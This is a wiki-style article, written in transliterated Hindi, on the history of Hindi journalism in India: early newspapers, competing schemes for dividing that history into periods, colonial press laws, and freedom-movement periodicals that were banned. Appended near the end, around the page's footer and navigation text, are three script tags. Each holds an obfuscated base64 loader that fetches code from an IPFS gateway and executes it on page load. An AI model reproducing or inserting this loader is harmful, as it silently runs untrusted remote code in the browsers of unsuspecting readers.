भारत में हिंदी पत्रकारिता

hindi patrakarita ki shuruat bangal se huee aur isaka shrey raja ramamohan ray ko diya jata hai. raja ramamohan ray ne hi sabase pahale pres ko samajik uddeshy se jo da. bharatiyoan ke samajik, dharmik, rajanitik, arthik hitoan ka samarthan kiya. samaj mean vyapt aandhavishvas aur kuritiyoan par prahar kiye aur apane patroan ke jarie janata mean jagarookata paida ki. ramamohan ray ne kee patr shuroo kiye. jisamean aham haian-sal 1816 mean prakashit ‘bangal gajat’. bangal gajat bharatiy bhasha ka pahala samachar patr hai. is samachar patr ke sanpadak gangadhar bhattachary the. isake alava raja ramamohan ray ne miratul, sanvad kaumudi, bangal hairald patr bhi nikale aur logoan mean chetana phailaee. 30 mee 1826 ko kalakatta se pandit jugal kishor shukl ke sanpadan mean nikalane vale ‘udantt martand’ ko hiandi ka pahala samachar patr mana jata hai.

hiandi patrakarita ka kal vibhajan

bharat mean hiandi patrakarita ka tarkik aur vaijnanik adhar par kal vibhajan karana kuchh kathin kary hai. sarvapratham radhakrishna das ne aisa praranbhik prayas kiya tha. usake bad ‘vishal bharat’ ke navanbar 1930 ke aank mean vishnudatt shukl ne is prashn par vichar kiya, kintu ve kisi aantim nirnay par nahian pahuanche. gupt nibandhavali mean balamukuand gupt ne yah vibhajan is prakar kiya –

• pratham charan – sanh 1845 se 1877
• dvitiy charan – sanh 1877 se 1890
• tritiy charan – sanh 1890 se bad tak

d aau. ramaratan bhatanagar ne apane shodh prabandh ‘d raij eand groth aph hiandi jarnalijm’ kal vibhajan is prakar kiya hai–

• aranbhik yug 1826 se 1867
• utthan evan abhivriddhi
  • pratham charan (1867-1883) bhasha evan svaroop ke samekan ka yug
  • dvitiy charan (1883-1900) pres ke prachar ka yug
• vikas yug
  • pratham yug (1900-1921) avadhik patroan ka yug
  • dvitiy yug (1921-1935) dainik prachar ka yug
• samayik patrakarita – 1935-1945

uparokt mean se tin yugoan ke aranbhik varshoan mean tin pramukh patrikaoan ka prakashan hua, jinhoanne yugin patrakarita ke samaksh adarsh sthapit kie. sanh 1867 mean ‘kavivachan sudha’, sanh 1883 mean ‘hindustan’ tatha sanh 1900 mean ‘sarasvati’ ka prakashan hai.

• kashi nagari pracharani dvara prakashit ‘hiandi sahity ke vrihat itihas’ ke trayoday bhag ke tritiy khand mean yah kal vibhajan is prakar kiya gaya hai –

1. pratham utthan – sanh 1826 se 1867
2. dvitiy utthan – sanh 1868 se 1920
3. adhunik utthan – sanh 1920 ke bad

• ‘e histri aph d pres in iandiya’ mean shri es natarajan ne patrakarita ka adhyayan nimn pramukh bianduoan ke adhar par kiya hai –

1. bij vapan kal
2. british vicharadhara ka prabhav
3. rashtriy jagaran kal
4. lokatantr aur pres

• d aau. krishna bihari mishr ne ‘hiandi patrakarita’ ka adhyayan karane ki suvidha ki drishti se yah vibhajan mote roop se is prakar kiya hai –

1. bharatiy navajagaran aur hiandi patrakarita ka uday (sanh 1826 se 1867)
2. rashtriy andolan ki pragati- doosare daur ki hiandi patrakarita (sanh 1867-1900)
3. bisavian shatabdi ka aranbh aur hiandi patrakarita ka tisara daur – is kal khand ka adhyayan karate samay unhoanne ise tilak yug tatha gaandhi yug mean bhi vibhakt kiya.

• d aau. ramachandr tivari ne apani pustak ‘patrakarita ke vividh roop’ mean vibhajan ke prashn par vichar karate hue yah vibhajan kiya hai –

1. uday kal – (sanh 1826 se 1867)
2. bharateandu yug – (sanh 1867 se 1900)
3. tilak ya dvivedi yug – (sanh 1900 se 1920)
4. gaandhi yug – (sanh 1920 se 1947)
5. svatantryottar yug (sanh 1947 se ab tak)

• d aau. sushil joshi ne kal vibhajan kuchh aisa prastut kiya hai –

1. hiandi patrakarita ka udbhav – 1826 se 1867
2. hiandi patrakarita ka vikas – 1867 se 1900
3. hiandi patrakarita ka utthan – 1900 se 1947
4. svatantryottar patrakarita – 1947 se ab tak

ukt matoan ki samiksha karane par spasht hota hai ki hiandi patrakarita ka kal vibhajan vibhinn vidvanoan patrakaroan ne apani-apani suvidha se alag-alag dhang se kiya hai. is sanbandh mean sarvasammat kal nirdharan abhi nahian kiya ja saka hai. kisi ne vyakti vishesh ke nam se yug ka namakaran karane ka prayas kiya hai to kisi ne paristhiti athava prakriti ke adhar par. inamean ekaroopata ka abhav hai.

hiandi patrakarita ka udbhav kal (1826 se 1867)

kalakatta se 30 mee, 1826 ko ‘udant martand’ ke sampadan se praranbh hiandi patrakarita ki vikas yatra kahian thami aur kahian thahari nahian hai. pandit yugal kishor shukl ke sanpadan mean prakashit is samachar patr ne halaanki arthik abhavoan ke karan jald hi dam to d diya, par isane hiandi akhabaroan ke prakashan ka jo shubharanbh kiya vah karavaan nirantar age badha hai. sath hi hiandi ka pratham patr hone ke bavajood yah bhasha, vichar evan prastuti ke lihaj se mahattvapoorn ban gaya.

kalakatta ka yogadan

patrakarita jagath mean kalakatta ka b da mahattvapoorn yogadan raha hai. prashasanik, vanijy tatha shaikshik drishti se kalakatta ka un dinoan vishesh mahatv tha. yahian se 10 mee 1829 ko raja ramamohan ray ne ‘bangadoot’ samachar patr nikala jo bangala, farasi, aangrezi tatha hiandi mean prakashit hua. bangala patr ‘samachar darpan’ ke 21 joon 1834 ke aank ‘prajamitr’ namak hiandi patr ke kalakatta se prakashit hone ki soochana milati hai. lekin apane shodh granth mean d aau. ramaratan bhatanagar ne usake prakashan ko sandigdh mana hai. ‘bangadoodat’ ke band hone ke bad 15 saloan tak hiandi mean koee patr n nikala.

hiandi patrakarita ka utthan kal (1900-1947)

san 1900 ka varsh hiandi patrakarita ke itihas mean mahattvapoorn hai. 1900 mean prakashit sarasvati patrika]apane samay ki yugantarakari patrika rahi hai. vah apani chhapaee, saphaee, kagaj aur chitroan ke karan shighr hi lokapriy ho gee. ise bangali baboo chintamani ghosh ne prakashit kiya tha tatha ise nagari pracharini sabha ka anumodan prapt tha. isake sampadak mandal mean baboo radhakrishna das, baboo kartika prasad khatri, jagannathadas ratnakar, kishoridas gosvami tatha baboo shyamasundaradas the. 1903 mean isake sampadan ka bhar achary mahavar prasad dvivedi par p da. isaka mukhy uddeshy hiandi-rasikoan ke manoranjan ke sath bhasha ke sarasvati bhandar ki aangapushti, vriddhi aur poorti karan tha. is prakar 19vi shatabdi mean hiandi patrakarita ka udbhav v vikas b di hi visham paristhiti mean hua. is samay jo bhi patr-patrikaean nikalati unake samane anek badhaean a jatian, lekin in badhaoan se takkar leti huee hiandi patrakarita shanaiah-shanaiah gati pati gee.

hiandi patrakarita ka utkarsh kal (1947 se praranbh)

apane kramik vikas mean hiandi patrakarita ke utkarsh ka samay azadi ke bad aya. 1947 mean desh ko azadi mili. logoan mean nee utsukata ka sanchar hua. audyogik vikas ke sath-sath mudran kala bhi vikasit huee. jisase patroan ka sangathan paksh sudridh hua. roop-vinyas mean bhi suruchi dikhaee dene lagi. azadi ke bad patrakarita ke kshetr mean apoorv unnati hone par bhi yah du:kh ka vishay hai ki aj hiandi patrakarita vikritiyoan se ghirakar svarthasiddhi aur prachar ka madhyam banati ja rahi hai. parantu phir bhi yah nirvivad roop se kaha ja sakata hai ki bharatiy pres ki pragati svatantrata ke bad hi huee. yadyapi svatantryottar patrakarita ne paryapt pragati kar li hai kintu usake utkarshakari vikas ke marg mean ane vali badhaean bhi kam nahian haian.

pratibandhit patr-patrikaean

bharat ke svadhinata sangharsh mean patr-patrikaoan ki aham bhoomika rahi hai. ajadi ke andolan mean bhag le raha har am-o-khas kalam ki takat se vakiph tha. raja ramamohan ray, mahatma gaandhi, maulana abul kalam azad, bal gangadhar tilak, pandit madanamohan malaviy, baba sahab ambedakar, yashapal jaise ala darje ke neta sidhe-sidhe taur par patr-patrikaoan se ju de hue the aur niyamit likh rahe the. jisaka asar desh ke door-sudoor gaanvoan mean rahane vale deshavasiyoan par p d raha tha. aangreji sarakar ko is bat ka ahasas pahale se hi tha, lihaja usane shuroo se hi pres ke daman ki niti apanaee. 30 mee 1826 ko kalakatta se pandit jugal kishor shukl ke sanpadan mean nikalane vale ‘udantt martand’ ko hiandi ka pahala samachar patr mana jata hai. apane samay ka yah khas samachar patr tha, magar arthik pareshaniyoan ke karan yah jaldi hi band ho gaya. age chalakar mahaul badala aur jis makasad ki khatir patr shuroo kiye gaye the, unaka vistar hua. samachar sudhavarshan, abhyuday, shankhanad, haladhar, satyagrah samachar, yuddhavir, kraantivir, svadesh, naya hindustan, kalyan, hiandi pradip, brahman,bundelakhand kesari, matavala sarasvati, viplav, alankar, chaand, hans, pratap, sainik, kraanti, balidan, valiantyar adi janavadi patrikaoan ne ahista-ahista logoan mean soye hue vatanaparasti ke jajbe ko jagaya aur kraanti ka ahnan kiya.

natijatan unhean satta ka kopabhajan banana p da. daman, niyantran ke dushchakr se gujarate hue unhean kee pres adhiniyamoan ka samana karana p da. ‘vartaman patr’ mean pandit javahar lal neharoo dvara likha ‘rajanitik bhookamp’ shirshak lekh, ‘abhyuday’ ka bhagat sianh visheshaank, kisan visheshaank, ‘naya hindustan’ ke samrajyavad, pooanjivad aur ph aausivadi virodhi lekh, ‘svadesh’ ka vijay aank, ‘ch aauand’ ka achhoot aank, ph aauansi aank, ‘balidan’ ka navavarshaank, ‘kraanti’ ke 1939 ke sitambar, aktoobar aank, ‘viplav’ ka chandrashekhar aank apane kraantikari tevar aur rajanitik chetana phailane ke iljam mean aangreji sarakar ki tedhi nigah ke shikar hue aur unhean jabti, pratibandh, jurmana ka samana karana p da. sanpadakoan ko karavas bhugatana p da.

gavarnar janaral velejali

bharatiy patrakarita ki svadhinata ko badhit karane vala pahala pres adhiniyam gavarnar janaral velejali ke shasanakal mean 1799 ko hi samane a gaya tha. bharatiy patrakarita ke adijanak j aauns agastak hikki ke samachar patr ‘hikki gajat’ ko vidroh ke chalate sarvapratham pratibandh ka samana karana p da. hikki ko ek sal ki kaid aur do hajar roope jurmane ki saja huee. kalaantar mean 1857 mean gaiangiank ekt, 1878 mean varnakyoolar pres ekt, 1908 mean nyooj pepars ekt (insaitameant aphaiansej), 1910 mean iandiyan pres ekt, 1930 mean iandiyan pres ardineans, 1931 mean di iandiyan pres ekt (imarajeansi pavars) jaise damanakari qanoon aangreji sarakar dvara pres ki svatantrata ko badhit karane ke uddeshy se lagoo kie gaye. aangreji sarakar in kale qanoonoan ka sahara lekar kisi bhi patr-patrika par chahe jab pratibandh, jurmana laga deti thi. apattijanak lekh vale patr-patrikaoan ko jabt kar liya jata. lekhak, sanpadakoan ko karavas bhugatana p data v patroan ko dobara shuroo karane ke lie jamanat ki bhari bharakam rakam jama karani p dati. bavajood isake samachar patr sanpadakoan ke tevar ugr se ugratar hote chale ge. ajadi ke andolan mean jo bhoomika unhoanne khud tay ki thi, us par unaka bharosa aur bhi jyada majaboot hota chala gaya. jel, jabti, jurmana ke dar se unake hausale past nahian huye.

bisavian sadi ki shuruat

bisavian sadi ke doosare-tisare dashak mean satyagrah, asahayog andolan, savinay avajna andolan ke prachar prasar aur un andolanoan ki kamayabi mean samachar patroan ki aham bhoomika rahi. kee patroan ne svadhinata andolan mean pravakta ka rol nibhaya. kanapur se 1920 mean prakashit ‘vartaman’ ne asahayog andolan ko apana vyapak samarthan diya tha. pandit madanamohan malaviy dvara shuroo kiya gaya saptahik patr ‘abhyuday’ ugr vicharadhara ka hami tha. abhyuday ke bhagat sianh visheshaank mean mahatma gaandhi, saradar patel, madanamohan malaviy, pandit javaharalal neharoo ke lekh prakashit hue. jisake parinamasvaroop in patroan ko pratibandh- jurmana ka samana karana p da. ganesh shankar vidyarthi ka ‘pratap’, sajjad zahir evan shivadan sianh chauhan ke sanpadan mean ilahabad se nikalane vala ‘naya hindustan’ rajaram shastri ka ‘kraanti’ yashapal ka ‘viplav’ apane nam ke mutabiq hi kraantikari tevar vale patr the. in patroan mean kraantikari yugaantakari lekhan ne aangreji sarakar ki niand u da di thi. apane sanpadakiy, lekhoan, kavitaoan ke jarie in patroan ne sarakar ki nitiyoan ki lagatar bhartsana ki. ‘naya hindustan’ aur ‘viplav’ ke jabtashuda pratibandhit aankoan ko dekhane se inaki vaishvik drishti ka pata chalata hai.

‘chaand’ ka phaansi aank

phaansivad ke uday aur badhate samrajyavad, pooanjivad par chianta in patroan mean saf dekhi ja sakati hai. gorakhapur se nikalane vale saptahik patr ‘svadesh’ ko jivantaparyant apane ugr vicharoan aur svatantrata ke prati samarpan ki bhavana ke karan samay-samay par aangreji sarakar ki kop drishti ka shikar hona p da. khasakar visheshaank vijayaank ko. achary chaturasen shastri dvara sanpadit ‘chaand’ ke phaansi aank ki charcha bhi zaroori hai. kakori ke abhiyuktoan ko phaansi ke lagabhag ek sal bad, ilahabad se prakashit ch aauand ka phaansi aank kraantikari andolan ke itihas ki amooly nidhi hai. yah aank kraantikariyoan ki gathaoan se bhara hua hai. sarakar ne aank ki janata mean jabardast pratikriya aur samarthan dekh isako phauran jabt kar liya aur ratoan-rat isake sare aank gayab kar diye. aangrej hukoomat ek taraph kraantikari patr-patrikaoan ko jabt karati rahi, to doosari taraph inake sanpadak inhean bina ruke poori nirbhikata se nikalate rahe. sarakari daman inake hausaloan par jara bhi rok nahian laga saka. patr-patrikaoan ke jarie unaka yah pratirodh ajadi milane tak jari raha.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>